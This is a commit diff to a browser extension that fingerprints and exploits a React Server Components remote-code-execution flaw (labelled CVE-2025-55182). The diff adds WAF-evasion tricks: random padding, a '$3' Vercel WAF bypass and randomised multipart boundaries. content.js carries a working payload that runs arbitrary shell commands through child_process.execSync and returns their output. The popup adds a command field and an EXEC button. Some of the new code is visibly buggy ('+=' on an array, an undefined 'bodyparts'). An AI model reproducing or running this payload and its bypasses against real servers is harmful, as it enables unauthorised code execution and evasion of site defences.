Add WAF bypass from assetnote

* Add padding-based WAF
* Add $3 Vercel WAF bypass
* Add inputs for bypass options
* Make form boundary dynamic

Author: Artoria2e5

README.md

@@ -16,6 +16,8 @@ This extension is designed for **educational and security research purposes only
 
 ### 🎯 Active Fingerprinting
 - Sends controlled RSC probe requests
+   - Adds prefix padding to bypass some WAFs
+   - Uses `$3` bypass for Vercel WAF
 - Analyzes server responses for RSC characteristics
 - Identifies Content-Type headers indicating RSC usage
 - Detects Vary headers containing 'RSC'

README_cn.md

@@ -16,6 +16,8 @@
 
 ### 🎯 主动指纹识别
 - 发送受控的 RSC 探测请求
+  - 支持通过前缀 padding 绕过一些 WAF
+  - 支持通过 $3 绕过 Vercel WAF
 - 分析服务器响应的 RSC 特征
 - 识别指示 RSC 使用的 Content-Type 头
 - 检测包含 'RSC' 的 Vary 头

content.js

@@ -1,5 +1,18 @@
 // content.js
 
+// 12字符[a-z0-9]
+function shortRandString() {
+    return Math.random().toString(36).substring(2).padEnd(12, '0');
+}
+
+// 随机的base64长字符串，长度为 bytes 字符
+function longRandString(bytes) {
+    const length = bytes;
+    const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
+    crypto.getRandomValues(buf);
+    return btoa(String.fromCharCode(...buf)).substring(0, length);
+}
+
 // === 1. 被动检测 ===
 function performPassiveScan() {
     let score = 0;
@@ -45,16 +58,25 @@ async function performFingerprint() {
 }
 
 // === 3. RCE 漏洞利用 ===
-async function performExploit(cmd) {
-    // 默认命令
-    const targetCmd = cmd || "echo vulnerability_test";
-    
+async function performExploit({cmd = "echo vulnerability_test", pad = 0, bypassVercel = false} = {}) {
     // 构造 Payload，动态插入命令
     // 注意：这里需要处理 JS 转义，简单起见直接替换
     // Payload 逻辑: execSync('YOUR_CMD').toString().trim()
-    const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${targetCmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
-    const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
-    const bodyParts = [
+    // pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner
+    const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
+    const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":${formData}}}`;
+    const boundary = `----WebKitFormBoundaryO2WP${shortRandString()}`;
+    let form = [];
+    if (pad > 0) {
+        form += [
+            `--${boundary}`,
+            `Content-Disposition: form-data; name="${shortRandString()}"`,
+            '',
+            longRandString(pad * 1024),
+            `--${boundary}`,
+        ];
+    }
+    form += [
         `--${boundary}`,
         'Content-Disposition: form-data; name="0"',
         '',
@@ -69,7 +91,16 @@ async function performExploit(cmd) {
         '[]',
         `--${boundary}--`,
         ''
-    ].join('\r\n');
+    ]
+    if (bypassVercel) {
+        bodyparts += [
+            'Content-Disposition: form-data; name="3"',
+            '',
+            '{{"\\"\u0024\u0024":{{}}}}',
+            `--${boundary}`,
+        ]
+    }
+    const bodyParts = form.join('\r\n');
 
     const targetUrl = "/adfa"; // 使用相对路径
 
@@ -143,7 +174,7 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
         return true;
     }
     if (req.action === "run_exploit") {
-        performExploit(req.cmd).then(res => sendResponse(res));
+        performExploit(req).then(res => sendResponse(res));
         return true;
     }
 });

popup.html

@@ -25,14 +25,14 @@
 
         /* 输入框与按钮 */
         .input-group { display: flex; margin-bottom: 8px; }
-        input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
-        input[type="text"]:focus { border-color: #3498db; }
+        td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
+        td > input:focus { border-color: #3498db; }
 
         button { border: none; cursor: pointer; color: #fff; font-weight: 600; transition: 0.2s; padding: 8px; font-size: 11px; }
         .btn-scan { background: #3498db; width: 100%; border-radius: 4px; }
         .btn-scan:hover { background: #2980b9; }
 
-        .btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px; }
+        .btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px 0 15px; }
         .btn-exploit:hover { background: #c0392b; }
         .btn-exploit:disabled { background: #95a5a6; cursor: not-allowed; }
 
@@ -70,8 +70,21 @@
             <div class="card-title" style="background: #fff0eb; color: #c0392b;">3. RCE Exploit (CVE-2025-55182)</div>
             <div class="card-body">
                 <div class="input-group">
-                    <input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
-                    <button id="btnExploit" class="btn-exploit">EXEC</button>
+                    <table style="flex: 4">
+                        <tr>
+                          <th><label for="cmdInput" title="Command">CMD</label>
+                          <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
+                        </tr>
+                        <tr>
+                          <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
+                          <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
+                        </tr>
+                        <tr>
+                          <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
+                          <td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
+                        </tr>
+                    </table>
+                    <button id="btnExploit" class="btn-exploit" style="flex: 1">EXEC</button>
                 </div>
                 <div id="exploit-status" style="font-size: 10px; color: #7f8c8d; display:none;">Sending payload...</div>
                 <div id="exploit-result" class="result-box">

popup.js

@@ -69,13 +69,14 @@ document.addEventListener('DOMContentLoaded', () => {
 
         // --- 交互：RCE 利用 ---
         el.btnExploit.addEventListener('click', () => {
-            const cmd = el.cmdInput.value || "whoami";
-            el.btnExploit.disabled = true;
+            const cmd = el.cmdInput.value;
+            const pad = +(el.padInput.value) || 0;
+            const bypassVercel = el.vercelInput.checked;
             el.exploitStatus.style.display = 'block';
             el.exploitResult.style.display = 'none';
             el.rceOutput.className = 'console-out'; // 重置样式
 
-            chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd: cmd}, (res) => {
+            chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd, pad, bypassVercel}, (res) => {
                 el.btnExploit.disabled = false;
                 el.exploitStatus.style.display = 'none';
                 el.exploitResult.style.display = 'block';